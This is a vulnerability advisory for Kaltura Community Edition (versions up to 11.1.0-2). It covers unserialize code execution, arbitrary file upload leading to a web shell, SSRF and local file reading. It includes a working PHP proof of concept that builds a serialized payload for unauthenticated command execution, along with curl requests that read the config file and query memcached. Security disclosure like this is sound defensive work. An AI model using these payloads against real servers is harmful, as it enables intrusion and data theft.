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/ _____/ / _ \ ____ ____ _____
\____ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ | \\ \__( <_> ) Y Y \
/______ /\___|__ / \___ >____/|__|_| /
\/ \/.-. \/ \/:wq
(x.0)
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presents..
Kaltura Community Edition Multiple Vulnerabilities
Affected versions: Kaltura Community Edition <=11.1.0-2
PDF:
http://www.security-assessment.com/files/documents/advisory/Kaltura-Multiple-Vulns.pdf
+-----------+
|Description|
+-----------+
The Kaltura platform contains a number of vulnerabilities, allowing
unauthenticated users to execute code, read files, and access services
listening on the localhost interface. Vulnerabilities present in the
application also allow authenticated users to execute code by uploading
a file, and perform stored cross site scripting attacks from the Kaltura
Management Console into the admin console. Weak cryptographic secret
generation allows unauthenticated users to bruteforce password reset
tokens for accounts, and allows low level users to perform privilege
escalation attacks.
+------------+
|Exploitation|
+------------+
==Unserialize Code Execution==
The following PHP POC will generate an object that leads to code
execution when posted to an endpoint present on the server.
Authentication is not required.
[POC]
<?php
$init = "system('id;uname -a')";
$cmd = $init.".die()";
$len = strlen($cmd);
$obj="a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:$len:\"$cmd\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}";
$sploit = base64_encode($obj);
echo $sploit;
?>
------------
The Base64 encoded object generated above should be included in the
kdata section of the following curl request:
$curl
http://[HOST]/index.php/keditorservices/redirectWidgetCmd?kdata=$[sploit]
==Arbitrary File Upload==
Users authenticated to the KMC with appropriate privileges can upload
arbitrary files through the "Upload Content" functionality. This can be
used to upload a PHP web shell as an image file and gain command
execution. In order to excute the code, the on-disk path of the uploaded
file must be obtained, and then browsed to directly. Obtaining the
uploaded file's path can be achieved with the following command.
[POC]
$curl
http://[HOST]/index.php/keditorservices/getAllEntries?list_type=1&entry_id=0_3v2568rx
-b "[Valid Cookie]"
Directly accessing the path "url" returned by the above request will
result in the exceution of the uploaded php script.
$curl http://[HOST]/[URL PATH]
==SSRF / File Read (Limited)==
A limited number of files on the host can be read by passing a "file://"
protocol handler to a CURL call.
[POC]
$curl
http://[HOST]/html5/html5lib/v2.34/simplePhpXMLProxy.php?url=file://127.0.0.1/opt/kaltura/app/configurations/local.ini
Arbitrary IP addresses can be supplied, resulting in an SSRF issue. The
following POC uses the SSRF issue to send a command and retrieve
statistics from memcached listening on localhost, which is present in a
default Kaltura install.
[POC]
$curl
http://[HOST]/html5/html5lib/v2.34/simplePhpXMLProxy.php?url=http://127.0.0.1:11211
-m 2 --data $'b=set nl 0 60 4\n\n\n\n\n'
$curl
http://[HOST]/html5/html5lib/v2.34/simplePhpXMLProxy.php?url=http://127.0.0.1:11211
--data "c=get nl&d=stats&e=quit"
+----------+
| Solution |
+----------+
Upgrading to the most recent version of Kaltura (11.7.0-2) will fix the
majority of these issues. No fixes are available for some of the issues
disclosed, so carefully firewalling off the Kaltura interface is
recommended.
+------------+
| Additional |
+------------+
A disclosure timeline, further information and additional less critical
vulnerabilities are available in the accompanying PDF.
http://www.security-assessment.com/files/documents/advisory/Kaltura-Multiple-Vulns.pdf
